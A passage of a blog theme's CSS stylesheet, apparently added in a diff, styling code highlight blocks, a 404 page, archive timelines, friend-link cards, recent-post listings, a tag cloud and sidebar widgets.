1px solid var(--light-grey); + vertical-align: middle; +} +*::selection { + background: #00c4b6; + color: #f7f7f7; +} +button { + padding: 0; + outline: 0; + border: none; + background: none; + cursor: pointer; + touch-action: manipulation; +} +a { + color: #99a9bf; + text-decoration: none; + word-wrap: break-word; + -webkit-transition: all 0.2s; + -moz-transition: all 0.2s; + -o-transition: all 0.2s; + -ms-transition: all 0.2s; + transition: all 0.2s; + overflow-wrap: break-word; +} +a:hover { + color: #49b1f5; +} +.is-center { + text-align: center; +} +.pull-left { + float: left; +} +.pull-right { + float: right; +} +img[src=''], +img:not([src]) { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); +} +.img-alt { + margin: -10px 0 10px; + color: #858585; +} +.img-alt:hover { + text-decoration: none !important; +} +blockquote { + margin: 0 0 20px; + padding: 12px 15px; + border-left: 3px solid #49b1f5; + background-color: var(--blockquote-bg); + color: var(--blockquote-color); +} +blockquote footer cite:before { + padding: 0 5px; + content: '—'; +} +blockquote > :last-child { + margin-bottom: 0 !important; +} +:root { + --hl-color: #90a4ae; + --hl-bg: #f6f8fa; + --hltools-bg: #e6ebf1; + --hltools-color: #90a4ae; + --hlnumber-bg: #f6f8fa; + --hlnumber-color: rgba(144,164,174,0.5); + --hlscrollbar-bg: #dce4eb; + --hlexpand-bg: linear-gradient(180deg, rgba(246,248,250,0.6), rgba(246,248,250,0.9)); +} +[data-theme='dark'] { + --hl-color: rgba(255,255,255,0.7); + --hl-bg: #171717; + --hltools-bg: #1a1a1a; + --hltools-color: #90a4ae; + --hlnumber-bg: #171717; + --hlnumber-color: rgba(255,255,255,0.4); + --hlscrollbar-bg: #1f1f1f; + --hlexpand-bg: linear-gradient(180deg, rgba(23,23,23,0.6), rgba(23,23,23,0.9)); +} +figure.highlight table { + scrollbar-color: var(--hlscrollbar-bg) transparent; +} +figure.highlight table::-webkit-scrollbar-thumb { + background: var(--hlscrollbar-bg); +} +figure.highlight pre .deletion { + color: #bf42bf; +} +figure.highlight pre .addition { + color: #105ede; +} +figure.highlight pre .meta { + color: #7c4dff; +} +figure.highlight pre .comment { + color: rgba(149,165,166,0.8); +} +figure.highlight pre .variable, +figure.highlight pre .attribute, +figure.highlight pre .regexp, +figure.highlight pre .ruby .constant, +figure.highlight pre .xml .tag .title, +figure.highlight pre .xml .pi, +figure.highlight pre .xml .doctype, +figure.highlight pre .html .doctype, +figure.highlight pre .css .id, +figure.highlight pre .tag .name, +figure.highlight pre .css .class, +figure.highlight pre .css .pseudo { + color: #e53935; +} +figure.highlight pre .tag { + color: #39adb5; +} +figure.highlight pre .number, +figure.highlight pre .preprocessor, +figure.highlight pre .literal, +figure.highlight pre .params, +figure.highlight pre .constant, +figure.highlight pre .command { + color: #f76d47; +} +figure.highlight pre .built_in { + color: #ffb62c; +} +figure.highlight pre .ruby .class .title, +figure.highlight pre .css .rules .attribute, +figure.highlight pre .string, +figure.highlight pre .value, +figure.highlight pre .inheritance, +figure.highlight pre .header, +figure.highlight pre .ruby .symbol, +figure.highlight pre .xml .cdata, +figure.highlight pre .special, +figure.highlight pre .number, +figure.highlight pre .formula { + color: #91b859; +} +figure.highlight pre .keyword, +figure.highlight pre .title, +figure.highlight pre .css .hexcolor { + color: #39adb5; +} +figure.highlight pre .function, +figure.highlight pre .python .decorator, +figure.highlight pre .python .title, +figure.highlight pre .ruby .function .title, +figure.highlight pre .ruby .title .keyword, +figure.highlight pre .perl .sub, +figure.highlight pre .javascript .title, +figure.highlight pre .coffeescript .title { + color: #6182b8; +} +figure.highlight pre .tag .attr, +figure.highlight pre .javascript .function { + color: #7c4dff; +} +#article-container figure.highlight .line.marked { + background-color: rgba(128,203,196,0.251); +} +#article-container figure.highlight table { + display: block; + overflow: auto; + border: none; +} +#article-container figure.highlight table td { + padding: 0; + border: none; +} +#article-container figure.highlight .gutter pre { + padding-right: 10px; + padding-left: 10px; + background-color: var(--hlnumber-bg); + color: var(--hlnumber-color); + text-align: right; +} +#article-container figure.highlight .code pre { + padding-right: 10px; + padding-left: 10px; + width: 100%; +} +#article-container pre, +#article-container figure.highlight { + overflow: auto; + margin: 0 0 20px; + padding: 0; + background: var(--hl-bg); + color: var(--hl-color); + line-height: 1.6; +} +#article-container pre, +#article-container code { + font-size: var(--global-font-size); + font-family: consolas, Menlo, 'PingFang SC', 'Microsoft YaHei', sans-serif !important; +} +#article-container code { + padding: 2px 4px; + background: rgba(27,31,35,0.05); + color: #f47466; +} +#article-container pre { + padding: 10px 20px; +} +#article-container pre code { + padding: 0; + background: none; + color: var(--hl-color); + text-shadow: none; +} +#article-container figure.highlight { + position: relative; +} +#article-container figure.highlight pre { + margin: 0; + padding: 8px 0; + border: none; +} +#article-container figure.highlight figcaption, +#article-container figure.highlight .caption { + padding: 6px 0 2px 14px; + font-size: var(--global-font-size); + line-height: 1em; +} +#article-container figure.highlight figcaption a, +#article-container figure.highlight .caption a { + float: right; + padding-right: 10px; + color: var(--hl-color); +} +#article-container figure.highlight figcaption a:hover, +#article-container figure.highlight .caption a:hover { + border-bottom-color: var(--hl-color); +} +#article-container figure.highlight.copy-true { + -webkit-user-select: all; + -moz-user-select: all; + -ms-user-select: all; + user-select: all; + -webkit-user-select: all; +} +#article-container figure.highlight.copy-true > table, +#article-container figure.highlight.copy-true > pre { + display: block !important; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); +} +#article-container .highlight-tools { + position: relative; + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-align: center; + -moz-box-align: center; + -o-box-align: center; + -ms-flex-align: center; + -webkit-align-items: center; + align-items: center; + overflow: hidden; + min-height: 24px; + height: 2.15em; + background: var(--hltools-bg); + color: var(--hltools-color); + font-size: var(--global-font-size); +} +#article-container .highlight-tools.closed ~ * { + display: none; +} +#article-container .highlight-tools.closed .expand { + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; + -webkit-transform: rotate(-90deg) !important; + -moz-transform: rotate(-90deg) !important; + -o-transform: rotate(-90deg) !important; + -ms-transform: rotate(-90deg) !important; + transform: rotate(-90deg) !important; +} +#article-container .highlight-tools .expand { + position: absolute; + padding: 0.57em 0.7em; + cursor: pointer; + -webkit-transition: -webkit-transform 0.3s; + -moz-transition: -moz-transform 0.3s; + -o-transition: -o-transform 0.3s; + -ms-transition: -ms-transform 0.3s; + transition: transform 0.3s; +} +#article-container .highlight-tools .expand + .code-lang { + left: 1.7em; +} +#article-container .highlight-tools .code-lang { + position: absolute; + left: 14px; + text-transform: uppercase; + font-weight: bold; + font-size: 1.15em; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + -webkit-user-select: none; +} +#article-container .highlight-tools .copy-notice { + position: absolute; + right: 2.4em; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transition: opacity 0.4s; + -moz-transition: opacity 0.4s; + -o-transition: opacity 0.4s; + -ms-transition: opacity 0.4s; + transition: opacity 0.4s; +} +#article-container .highlight-tools .copy-button { + position: absolute; + right: 14px; + cursor: pointer; + -webkit-transition: color 0.2s; + -moz-transition: color 0.2s; + -o-transition: color 0.2s; + -ms-transition: color 0.2s; + transition: color 0.2s; +} +#article-container .highlight-tools .copy-button:hover { + color: #49b1f5; +} +#article-container .gutter { + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + -webkit-user-select: none; +} +#article-container .gist table { + width: auto; +} +#article-container .gist table td { + border: none; +} +@-moz-keyframes code-expand-key { + 0% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } + 50% { + opacity: 0.1; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=10)"; + filter: alpha(opacity=10); + } + 100% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } +} +@-webkit-keyframes code-expand-key { + 0% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } + 50% { + opacity: 0.1; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=10)"; + filter: alpha(opacity=10); + } + 100% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } +} +@-o-keyframes code-expand-key { + 0% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } + 50% { + opacity: 0.1; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=10)"; + filter: alpha(opacity=10); + } + 100% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } +} +@keyframes code-expand-key { + 0% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } + 50% { + opacity: 0.1; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=10)"; + filter: alpha(opacity=10); + } + 100% { + opacity: 0.6; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; + filter: alpha(opacity=60); + } +} +.error404 #error-wrap { + position: absolute; + top: 50%; + right: 0; + left: 0; + margin: 0 auto; + padding: 60px 20px 0; + max-width: 1000px; + -webkit-transform: translate(0, -50%); + -moz-transform: translate(0, -50%); + -o-transform: translate(0, -50%); + -ms-transform: translate(0, -50%); + transform: translate(0, -50%); +} +.error404 #error-wrap .error-content { + overflow: hidden; + margin: 0 20px; + height: 360px; +} +@media screen and (max-width: 768px) { + .error404 #error-wrap .error-content { + margin: 0; + height: 500px; + } +} +.error404 #error-wrap .error-content .error-img { + display: inline-block; + overflow: hidden; + width: 50%; + height: 100%; +} +@media screen and (max-width: 768px) { + .error404 #error-wrap .error-content .error-img { + width: 100%; + height: 45%; + } +} +.error404 #error-wrap .error-content .error-img img { + background-color: #49b1f5; +} +.error404 #error-wrap .error-content .error-info { + display: -webkit-inline-box; + display: -moz-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-box; + display: inline-flex; + -webkit-box-orient: vertical; + -moz-box-orient: vertical; + -o-box-orient: vertical; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-pack: center; + -moz-box-pack: center; + -o-box-pack: center; + -ms-flex-pack: center; + -webkit-justify-content: center; + justify-content: center; + -ms-flex-line-pack: center; + -webkit-align-content: center; + align-content: center; + width: 50%; + height: 100%; + vertical-align: top; + text-align: center; +} +@media screen and (max-width: 768px) { + .error404 #error-wrap .error-content .error-info { + width: 100%; + height: 55%; + } +} +.error404 #error-wrap .error-content .error-info .error_title { + margin-top: -0.6em; + font-size: 9em; +} +@media screen and (max-width: 768px) { + .error404 #error-wrap .error-content .error-info .error_title { + font-size: 8em; + } +} +.error404 #error-wrap .error-content .error-info .error_subtitle { + margin-top: -3em; + word-break: break-word; + font-size: 1.6em; + -webkit-line-clamp: 2; +} +.error404 + #rightside { + display: none; +} +.article-sort { + margin-left: 10px; + padding-left: 20px; + border-left: 2px solid #aadafa; +} +.article-sort-title { + position: relative; + margin-left: 10px; + padding-bottom: 20px; + padding-left: 20px; + font-size: 1.72em; +} +.article-sort-title:hover:before { + border-color: var(--pseudo-hover); +} +.article-sort-title:before { + position: absolute; + top: calc(((100% - 36px) / 2)); + left: -9px; + z-index: 1; + width: 10px; + height: 10px; + border: 5px solid #49b1f5; + border-radius: 10px; + background: var(--card-bg); + content: ''; + line-height: 10px; + -webkit-transition: all 0.2s ease-in-out; + -moz-transition: all 0.2s ease-in-out; + -o-transition: all 0.2s ease-in-out; + -ms-transition: all 0.2s ease-in-out; + transition: all 0.2s ease-in-out; +} +.article-sort-title:after { + position: absolute; + bottom: 0; + left: 0; + z-index: 0; + width: 2px; + height: 1.5em; + background: #aadafa; + content: ''; +} +.article-sort-item { + position: relative; + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-align: center; + -moz-box-align: center; + -o-box-align: center; + -ms-flex-align: center; + -webkit-align-items: center; + align-items: center; + margin: 0 0 20px 10px; + -webkit-transition: all 0.2s ease-in-out; + -moz-transition: all 0.2s ease-in-out; + -o-transition: all 0.2s ease-in-out; + -ms-transition: all 0.2s ease-in-out; + transition: all 0.2s ease-in-out; +} +.article-sort-item:hover:before { + border-color: var(--pseudo-hover); +} +.article-sort-item:before { + position: absolute; + left: calc(-20px - 17px); + width: 6px; + height: 6px; + border: 3px solid #49b1f5; + border-radius: 6px; + background: var(--card-bg); + content: ''; + -webkit-transition: all 0.2s ease-in-out; + -moz-transition: all 0.2s ease-in-out; + -o-transition: all 0.2s ease-in-out; + -ms-transition: all 0.2s ease-in-out; + transition: all 0.2s ease-in-out; +} +.article-sort-item.no-article-cover { + height: 80px; +} +.article-sort-item.no-article-cover .article-sort-item-info { + padding: 0; +} +.article-sort-item.year { + font-size: 1.43em; +} +.article-sort-item.year:hover:before { + border-color: #49b1f5; +} +.article-sort-item.year:before { + border-color: var(--pseudo-hover); +} +.article-sort-item-time { + color: #858585; + font-size: 95%; +} +.article-sort-item-time time { + padding-left: 6px; + cursor: default; +} +.article-sort-item-title { + color: var(--font-color); + font-size: 1.1em; + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; + -webkit-line-clamp: 2; +} +.article-sort-item-title:hover { + color: #49b1f5; + -webkit-transform: translateX(10px); + -moz-transform: translateX(10px); + -o-transform: translateX(10px); + -ms-transform: translateX(10px); + transform: translateX(10px); +} +.article-sort-item-img { + overflow: hidden; + width: 80px; + height: 80px; +} +.article-sort-item-info { + -webkit-box-flex: 1; + -moz-box-flex: 1; + -o-box-flex: 1; + box-flex: 1; + -webkit-flex: 1; + -ms-flex: 1; + flex: 1; + padding: 0 16px; +} +.category-lists .category-title { + font-size: 2.57em; +} +@media screen and (max-width: 768px) { + .category-lists .category-title { + font-size: 2em; + } +} +.category-lists .category-list { + margin-bottom: 0; +} +.category-lists .category-list a { + color: var(--font-color); +} +.category-lists .category-list a:hover { + color: #49b1f5; +} +.category-lists .category-list .category-list-count { + margin-left: 8px; + color: #858585; +} +.category-lists .category-list .category-list-count:before { + content: '('; +} +.category-lists .category-list .category-list-count:after { + content: ')'; +} +.category-lists ul { + padding: 0 0 0 20px; +} +.category-lists ul ul { + padding-left: 4px; +} +.category-lists ul li { + position: relative; + margin: 6px 0; + padding: 0.12em 0.4em 0.12em 1.4em; +} +#body-wrap { + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-orient: vertical; + -moz-box-orient: vertical; + -o-box-orient: vertical; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + min-height: 100vh; +} +.layout { + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-flex: 1; + -moz-box-flex: 1; + -o-box-flex: 1; + box-flex: 1; + -webkit-flex: 1 auto; + -ms-flex: 1 auto; + flex: 1 auto; + margin: 0 auto; + padding: 40px 15px; + max-width: 1200px; + width: 100%; +} +@media screen and (max-width: 900px) { + .layout { + -webkit-box-orient: vertical; + -moz-box-orient: vertical; + -o-box-orient: vertical; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + } +} +@media screen and (max-width: 768px) { + .layout { + padding: 20px 5px; + } +} +@media screen and (min-width: 2000px) { + .layout { + max-width: 70%; + } +} +.layout > div:first-child:not(.recent-posts) { + -webkit-align-self: flex-start; + align-self: flex-start; + -ms-flex-item-align: start; + padding: 50px 40px; +} +@media screen and (max-width: 768px) { + .layout > div:first-child:not(.recent-posts) { + padding: 36px 14px; + } +} +.layout > div:first-child { + width: 74%; + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; +} +@media screen and (max-width: 900px) { + .layout > div:first-child { + width: 100% !important; + } +} +@media screen and (min-width: 900px) { + .layout > div:first-child { + -webkit-box-ordinal-group: 2; + -moz-box-ordinal-group: 2; + -o-box-ordinal-group: 2; + -ms-flex-order: 2; + -webkit-order: 2; + order: 2; + } +} +.layout.hide-aside { + max-width: 1000px; +} +@media screen and (min-width: 2000px) { + .layout.hide-aside { + max-width: 1300px; + } +} +.layout.hide-aside > div { + width: 100% !important; +} +.apple #page-header.full_page { + background-attachment: scroll !important; +} +.apple .recent-post-item, +.apple .avatar-img, +.apple .flink-item-icon { + -webkit-transform: translateZ(0); + -moz-transform: translateZ(0); + -o-transform: translateZ(0); + -ms-transform: translateZ(0); + transform: translateZ(0); +} +#article-container .flink { + margin-bottom: 20px; +} +#article-container .flink .flink-list { + overflow: auto; + padding: 10px 10px 0; + text-align: center; +} +#article-container .flink .flink-list > .flink-list-item { + position: relative; + float: left; + overflow: hidden; + margin: 15px 7px; + width: calc(100% / 3 - 15px); + height: 90px; + border-radius: 8px; + line-height: 17px; + -webkit-transform: translateZ(0); +} +@media screen and (max-width: 1024px) { + #article-container .flink .flink-list > .flink-list-item { + width: calc(50% - 15px) !important; + } +} +@media screen and (max-width: 600px) { + #article-container .flink .flink-list > .flink-list-item { + width: calc(100% - 15px) !important; + } +} +#article-container .flink .flink-list > .flink-list-item:hover .flink-item-icon { + margin-left: -10px; + width: 0; +} +#article-container .flink .flink-list > .flink-list-item:before { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: -1; + background: var(--text-bg-hover); + content: ''; + -webkit-transition: -webkit-transform 0.3s ease-out; + -moz-transition: -moz-transform 0.3s ease-out; + -o-transition: -o-transform 0.3s ease-out; + -ms-transition: -ms-transform 0.3s ease-out; + transition: transform 0.3s ease-out; + -webkit-transform: scale(0); + -moz-transform: scale(0); + -o-transform: scale(0); + -ms-transform: scale(0); + transform: scale(0); +} +#article-container .flink .flink-list > .flink-list-item:hover:before, +#article-container .flink .flink-list > .flink-list-item:focus:before, +#article-container .flink .flink-list > .flink-list-item:active:before { + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); +} +#article-container .flink .flink-list > .flink-list-item a { + color: var(--font-color); + text-decoration: none; +} +#article-container .flink .flink-list > .flink-list-item a .flink-item-icon { + float: left; + overflow: hidden; + margin: 15px 10px; + width: 60px; + height: 60px; + border-radius: 35px; + -webkit-transition: width 0.3s ease-out; + -moz-transition: width 0.3s ease-out; + -o-transition: width 0.3s ease-out; + -ms-transition: width 0.3s ease-out; + transition: width 0.3s ease-out; +} +#article-container .flink .flink-list > .flink-list-item a .flink-item-icon img { + width: 100%; + height: 100%; + -webkit-transition: filter 375ms ease-in 0.2s, -webkit-transform 0.3s; + -moz-transition: filter 375ms ease-in 0.2s, -moz-transform 0.3s; + -o-transition: filter 375ms ease-in 0.2s, -o-transform 0.3s; + -ms-transition: filter 375ms ease-in 0.2s, -ms-transform 0.3s; + transition: filter 375ms ease-in 0.2s, transform 0.3s; + object-fit: cover; +} +#article-container .flink .flink-list > .flink-list-item a .img-alt { + display: none; +} +#article-container .flink .flink-item-name { + padding: 16px 10px 0 0; + height: 40px; + font-weight: bold; + font-size: 1.43em; +} +#article-container .flink .flink-item-desc { + padding: 16px 10px 16px 0; + height: 50px; + font-size: 0.93em; +} +#article-container .flink .flink-name { + margin-bottom: 5px; + font-weight: bold; + font-size: 1.5em; +} +#recent-posts > .recent-post-item:not(:first-child) { + margin-top: 20px; +} +#recent-posts > .recent-post-item { + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-orient: horizontal; + -moz-box-orient: horizontal; + -o-box-orient: horizontal; + -webkit-flex-direction: row; + -ms-flex-direction: row; + flex-direction: row; + -webkit-box-align: center; + -moz-box-align: center; + -o-box-align: center; + -ms-flex-align: center; + -webkit-align-items: center; + align-items: center; + overflow: hidden; + height: 16.8em; +} +@media screen and (max-width: 768px) { + #recent-posts > .recent-post-item { + -webkit-box-orient: vertical; + -moz-box-orient: vertical; + -o-box-orient: vertical; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + height: auto; + } +} +#recent-posts > .recent-post-item:hover img.post-bg { + -webkit-transform: scale(1.1); + -moz-transform: scale(1.1); + -o-transform: scale(1.1); + -ms-transform: scale(1.1); + transform: scale(1.1); +} +#recent-posts > .recent-post-item.ads-wrap { + display: block !important; + height: auto !important; +} +#recent-posts > .recent-post-item .post_cover { + overflow: hidden; + width: 42%; + height: 100%; +} +@media screen and (max-width: 768px) { + #recent-posts > .recent-post-item .post_cover { + width: 100%; + height: 230px; + } +} +#recent-posts > .recent-post-item .post_cover.right { + -webkit-box-ordinal-group: 1; + -moz-box-ordinal-group: 1; + -o-box-ordinal-group: 1; + -ms-flex-order: 1; + -webkit-order: 1; + order: 1; +} +@media screen and (max-width: 768px) { + #recent-posts > .recent-post-item .post_cover.right { + -webkit-box-ordinal-group: 0; + -moz-box-ordinal-group: 0; + -o-box-ordinal-group: 0; + -ms-flex-order: 0; + -webkit-order: 0; + order: 0; + } +} +#recent-posts > .recent-post-item >.recent-post-info { + padding: 0 40px; + width: 58%; +} +@media screen and (max-width: 768px) { + #recent-posts > .recent-post-item >.recent-post-info { + padding: 20px 20px 30px; + width: 100%; + } +} +#recent-posts > .recent-post-item >.recent-post-info.no-cover { + width: 100%; +} +@media screen and (max-width: 768px) { + #recent-posts > .recent-post-item >.recent-post-info.no-cover { + padding: 30px 20px; + } +} +#recent-posts > .recent-post-item >.recent-post-info > .article-title { + color: var(--text-highlight-color); + font-size: 1.55em; + line-height: 1.4; + -webkit-transition: all 0.2s ease-in-out; + -moz-transition: all 0.2s ease-in-out; + -o-transition: all 0.2s ease-in-out; + -ms-transition: all 0.2s ease-in-out; + transition: all 0.2s ease-in-out; + -webkit-line-clamp: 2; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-title .sticky { + margin-right: 10px; + color: #ff7242; + -webkit-transform: rotate(45deg); + -moz-transform: rotate(45deg); + -o-transform: rotate(45deg); + -ms-transform: rotate(45deg); + transform: rotate(45deg); +} +@media screen and (max-width: 768px) { + #recent-posts > .recent-post-item >.recent-post-info > .article-title { + font-size: 1.43em; + } +} +#recent-posts > .recent-post-item >.recent-post-info > .article-title:hover { + color: #49b1f5; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap { + margin: 6px 0; + color: #858585; + font-size: 0.9em; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap > .post-meta-date { + cursor: default; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap i { + margin: 0 4px 0 0; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap .fa-spinner { + margin: 0; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap .article-meta-label { + padding-right: 4px; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap .article-meta-separator { + margin: 0 6px; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap .article-meta-link { + margin: 0 4px; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap a { + color: #858585; +} +#recent-posts > .recent-post-item >.recent-post-info > .article-meta-wrap a:hover { + color: #49b1f5; + text-decoration: underline; +} +#recent-posts > .recent-post-item >.recent-post-info > .content { + -webkit-line-clamp: 2; +} +.tag-cloud-list a { + display: inline-block; + padding: 0 8px; + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; +} +.tag-cloud-list a:hover { + color: #49b1f5 !important; + -webkit-transform: scale(1.1); + -moz-transform: scale(1.1); + -o-transform: scale(1.1); + -ms-transform: scale(1.1); + transform: scale(1.1); +} +@media screen and (max-width: 768px) { + .tag-cloud-list a { + zoom: 0.85; + } +} +.tag-cloud-title { + font-size: 2.57em; +} +@media screen and (max-width: 768px) { + .tag-cloud-title { + font-size: 2em; + } +} +h1.page-title + .tag-cloud-list { + text-align: left; +} +#aside-content { + width: 26%; +} +@media screen and (min-width: 900px) { + #aside-content { + padding-right: 15px; + } +} +@media screen and (max-width: 900px) { + #aside-content { + width: 100%; + } +} +#aside-content > .card-widget:first-child { + margin-top: 0; +} +@media screen and (max-width: 900px) { + #aside-content > .card-widget:first-child { + margin-top: 20px; + } +} +#aside-content .card-widget { + position: relative; + overflow: hidden; + margin-top: 20px; + padding: 20px 24px; +} +#aside-content .card-info .author-info__name { + font-weight: 500; + font-size: 1.57em; +} +#aside-content .card-info .author-info__description { + margin-top: -0.42em; +} +#aside-content .card-info .card-info-data { + margin: 14px 0 4px; +} +#aside-content .card-info .card-info-social-icons { + margin: 6px 0 -6px; +} +#aside-content .card-info .card-info-social-icons .social-icon { + margin: 0 10px; + color: var(--font-color); + font-size: 1.4em; +} +#aside-content .card-info .card-info-social-icons i { + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; +} +#aside-content .card-info .card-info-social-icons i:hover { + -webkit-transform: rotate(360deg); + -moz-transform: rotate(360deg); + -o-transform: rotate(360deg); + -ms-transform: rotate(360deg); + transform: rotate(360deg); +} +#aside-content .card-info #card-info-btn { + display: block; + margin-top: 14px; + background-color: var(--btn-bg); + color: var(--btn-color); + text-align: center; + line-height: 2.4; +} +#aside-content .card-info #card-info-btn:hover { + background-color: var(--btn-hover-color); +} +#aside-content .card-info #card-info-btn span { + padding-left: 10px; +} +#aside-content .item-headline { + padding-bottom: 6px; + font-size: 1.2em; +} +#aside-content .item-headline span { + margin-left: 6px; +} +@media screen and (min-width: 900px) { + #aside-content .sticky_layout { + position: sticky; + position: -webkit-sticky; + top: 20px; + -webkit-transition: top 0.3s; + -moz-transition: top 0.3s; + -o-transition: top 0.3s; + -ms-transition: top 0.3s; + transition: top 0.3s; + } +} +#aside-content .card-tag-cloud a { + display: inline-block; + padding: 0 4px; +} +#aside-content .card-tag-cloud a:hover { + color: #49b1f5 !important; +} +#aside-content .aside-list > span { + display: block; + margin-bottom: 10px; + text-align: center; +} +#aside-content .aside-list > .aside-list-item { + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-align: center; + -moz-box-align: center; + -o-box-align: center; + -ms-flex-align: center; + -webkit-align-items: center; + align-items: center; + padding: 6px 0; +} +#aside-content .aside-list > .aside-list-item:first-child { + padding-top: 0; +} +#aside-content .aside-list > .aside-list-item:not(:last-child) { + border-bottom: 1px dashed #f5f5f5; +} +#aside-content .aside-list > .aside-list-item:last-child { + padding-bottom: 0; +} +#aside-content .aside-list > .aside-list-item .thumbnail { + overflow: hidden; + width: 4.2em; + height: 4.2em; +} +#aside-content .aside-list > .aside-list-item .content { + -webkit-box-flex: 1; + -moz-box-flex: 1; + -o-box-flex: 1; + box-flex: 1; + -webkit-flex: 1; + -ms-flex: 1; + flex: 1; + padding-left: 10px; + word-break: break-all; +} +#aside-content .aside-list > .aside-list-item .content > .name { + -webkit-line-clamp: 1; +} +#aside-content .aside-list > .aside-list-item .content > time, +#aside-content .aside-list > .aside-list-item .content > .name { + display: block; + color: #858585; + font-size: 85%; +} +#aside-content .aside-list > .aside-list-item .content > .title, +#aside-content .aside-list > .aside-list-item .content > .comment { + color: var(--font-color); + font-size: 95%; + line-height: 1.5; + -webkit-line-clamp: 2; +} +#aside-content .aside-list > .aside-list-item .content > .title:hover, +#aside-content .aside-list > .aside-list-item .content > .comment:hover { + color: #49b1f5; +} +#aside-content .aside-list > .aside-list-item.no-cover { + min-height: 4.4em; +} +#aside-content .card-archives ul.card-archive-list, +#aside-content .card-categories ul.card-category-list { + margin: 0; + padding: 0; + list-style: none; +} +#aside-content .card-archives ul.card-archive-list > .card-archive-list-item a, +#aside-content .card-categories ul.card-category-list > .card-category-list-item a { + display: -webkit-box; + display: -moz-box; + display: -webkit-flex; + display: -ms-flexbox; + display: box; + display: flex; + -webkit-box-orient: horizontal; + -moz-box-orient: horizontal; + -o-box-orient: horizontal; + -webkit-flex-direction: row; + -ms-flex-direction: row; + flex-direction: row; + padding: 3px 10px; + color: var(--font-color); + -webkit-transition: all 0.4s; + -moz-transition: all 0.4s; + -o-transition: all 0.4s; + -ms-transition: all 0.4s; + transition: all 0.4s; +} +#aside-content .card-archives ul.card-archive-list > .card-archive-list-item a:hover, +#aside-content .card-categories ul.card-category-list > .card-category-list-item a:hover { + padding: 3px 17px; + background-color: var(--text-bg-hover); +} +#aside-content .card-archives ul.card-archive-list > .card-archive-list-item a span:first-child, +#aside-content .card-categories ul.card-category-list > .card-category-list-item a span:first-child { + -webkit-box-flex: 1; + -moz-box-flex: 1; + -o-box-flex: 1; + box-flex: 1; + -webkit-flex: 1; + -ms-flex: 1; + flex: 1; +} +#aside-content .card-categories .card-category-list.child { + padding: 0 0 0 16px; +} +#aside-content .card-categories .card-category-list > .parent > a.expand i { + -webkit-transform: rotate(-90deg); + -moz-transform: rotate(-90deg); + -o-transform: rotate(-90deg); + -ms-transform: rotate(-90deg); + transform: rotate(-90deg); +} +#aside-content .card-categories .card-category-list > .parent 